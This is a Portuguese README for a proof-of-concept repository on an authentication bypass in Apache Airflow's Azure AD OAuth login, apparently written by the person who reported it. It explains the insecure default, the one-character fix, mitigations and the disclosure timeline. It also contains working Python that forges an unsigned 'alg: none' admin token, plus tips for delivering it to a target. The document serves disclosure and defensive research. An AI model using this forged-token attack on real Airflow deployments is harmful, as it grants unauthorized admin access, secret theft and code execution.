
Prova de conceito para CVE-2026-59243 demonstrando bypass de assinatura JWT no callback OAuth do Azure AD do FAB Auth Manager do Apache Airflow devido a uma configuração padrão insegura.
Coreano: README.ko.md
apache-airflow-providers-fab==3.7.3O FAB (Flask App Builder) Auth Manager do Apache Airflow decodifica os id_tokens OAuth do Azure AD em _decode_and_validate_azure_jwt(). Essa função tinha verify_signature com valor padrão False.
# providers/fab/.../override.py (linhas 2331–2341 na época do relato)
def _decode_and_validate_azure_jwt(self, id_token: str) -> dict[str, str]:
verify_signature = self.oauth_remotes["azure"].client_kwargs.get(
"verify_signature", False, # ← o padrão é False
)
if verify_signature:
# validação JWK do authlib, retorna as claims
...
# caminho padrão: pula a verificação de assinatura por completo
return jwt.decode(id_token, options={"verify_signature": False})
A menos que um operador defina explicitamente verify_signature: true em client_kwargs, a verificação de assinatura fica desativada para todo o fluxo de login. Qualquer token que chegue tem suas claims aceitas como a identidade do chamador.
A integração com Authentik no mesmo arquivo usa True como padrão:
# providers/fab/.../override.py:414–416 (Authentik)
verify_signature = self.oauth_remotes["authentik"].client_kwargs.get(
"verify_signature", True, # ← este usa True como padrão
)
Mesmo arquivo, mesma estrutura, padrão oposto. Esse contraste foi o que primeiro me chamou a atenção de que o padrão do Azure não era uma escolha de política.
Considere o Airflow implantado com FAB Auth Manager + OAuth do Azure AD, sem alterações em client_kwargs. (A instalação padrão.)
Forje um JWT com alg: none e as claims que você quiser:
import base64, json
def b64u(d):
return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()
header = b64u({"alg": "none", "typ": "JWT"})
payload = b64u({
"sub": "[email protected]",
"email": "[email protected]",
"name": "Administrator",
"roles": ["Admin"],
"iss": "https://login.microsoftonline.com/<tenant>/v2.0",
"aud": "<airflow-client-id>",
"exp": 9999999999,
})
forged = f"{header}.{payload}." # ponto final: assinatura vazia
Entregue esse token ao callback OAuth (/login/azure/authorized ou onde a integração estiver montada). A forma de entrega varia conforme a implantação: MITM através de um proxy de terminação TLS mal configurado, um redirecionador aberto com validação frouxa de redirect_uri, ou acessando o callback diretamente com um state forjado. Escolha o que o alvo oferecer.
No momento em que o token chega ao callback, o FAB chama _decode_and_validate_azure_jwt, cai no caminho padrão e entrega as claims forjadas à sessão. Como você enviou roles: ["Admin"], agora você está logado como Admin. No Airflow isso é praticamente tudo: Connections, Variables, a chave Fernet e execução arbitrária de código como worker ao enviar um novo DAG.
Três avaliações diferentes chegaram a três resultados diferentes, o que na verdade é informativo:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:LmoderadoA diferença entre o meu e o da NVD é uma métrica: AC. Eu marquei H porque estava pensando no caminho de entrega via MITM de forma restrita. O analista da NVD optou por AC:L, tratando qualquer forma de colocar um id_token diante do callback (incluindo abuso do fluxo OAuth comum) como capacidade ordinária do atacante. Refletindo melhor, AC:L é a leitura mais defensável — você não precisa estritamente estar no caminho para abusar de uma verificação de assinatura quebrada. É por isso que NVD/Strix chegam a 9.8, e é essa a pontuação que aparecerá na maioria dos bancos de dados de CVE e scanners.
O moderado da Apache é um julgamento separado baseado no próprio modelo de risco deles, ponderado mais para "com que frequência essa pré-condição surge em implantações reais" do que para o teto do impacto. Não é inconsistente com 9.8 — apenas responde a uma pergunta diferente.
Um caractere.
- verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
+ verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", True)
Alinha o padrão do Azure com o do Authentik. Se alguém realmente precisar desativar a verificação de assinatura (por exemplo, JWKS autoassinado em uma réplica local do Azure AD), ainda pode optar por isso com verify_signature: false em client_kwargs. Formato muito melhor do que enviar inseguro por padrão.
Mesclado em 2026-07-07 como PR #69374 / commit 54259ae. Lançado em apache-airflow-providers-fab==3.7.3 em 2026-07-28.
Se você não puder atualizar imediatamente, defina explicitamente em webserver_config.py:
OAUTH_PROVIDERS = [
{
"name": "azure",
"client_kwargs": {"verify_signature": True, ...},
# ...
},
]
Além disso: mantenha os callbacks OAuth somente via HTTPS com allow-listing estrito de redirect_uri, e rotacione quaisquer credenciais armazenadas nas Connections do Airflow se você tiver motivos para acreditar que foi atingido.
Docker + pwntools configurados em poc/:
poc/server.py isola o caminho vulnerável (jwt.decode(..., options={"verify_signature": False})) em um pequeno aplicativo Flask.poc/exploit_airflow_jwt.py forja o JWT, acessa o callback e despeja segredos de exemplo da visão de admin.poc/Dockerfile e poc/docker-compose.yml levantam o alvo em 127.0.0.1:5002 (bind em loopback).Comando único:
cd poc/
./run.sh
Se você estiver executando isso em uma máquina compartilhada, verifique o bind do compose antes de iniciar.
Refatorações não relacionadas deslocaram os números de linha entre o relato original e o main atual. O caminho do arquivo não mudou.
Arquivo: providers/fab/src/airflow/providers/fab/auth_manager/security_manager/override.py
CVE-2026-59243/
├── README.md (este arquivo)
├── README.ko.md Versão em coreano
├── LICENSE MIT
├── check_advisory.sh monitor de publicação (mantido para reuso; atualmente inativo)
├── patch/fix.diff correção de um caractere (ancorada às linhas da época do relato)
└── poc/ PoC com Docker + pwntools
[email protected]MIT (LICENSE). O PoC é apenas para reprodução e pesquisa defensiva. Não o aponte para sistemas que você não possui ou para os quais não tem autorização por escrito para testar.
| Símbolo | No relato (2026-03-18) | No main corrigido (2026-07-29) |
|---|
_decode_and_validate_azure_jwt() | 2331–2341 (padrão False, vulnerável) | 2428–2438 (padrão True, corrigido) |
_get_authentik_token_info() | 414–416 (padrão True, seguro) | 419–420 (padrão True, seguro) |
| Data | Evento |
|---|
| 2026-03-18 | Relatado para [email protected] |
| 2026-03 a 2026-07 | Atraso do lado da Apache; um membro do PMC do Airflow confirmou posteriormente que o relato inicial foi perdido |
| 2026-07-03 | Primeira resposta |
| 2026-07-04 | CVE-2026-59243 atribuído, informações de crédito enviadas |
| 2026-07-07 | Correção mesclada (commit 54259ae, PR #69374) |
| 2026-07-28 | apache-airflow-providers-fab==3.7.3 lançado |
| 2026-07-29 | Registro CVE da MITRE PUBLICADO, aviso da Apache postado em [email protected] |
| 2026-07-29 | Este repositório tornou-se público |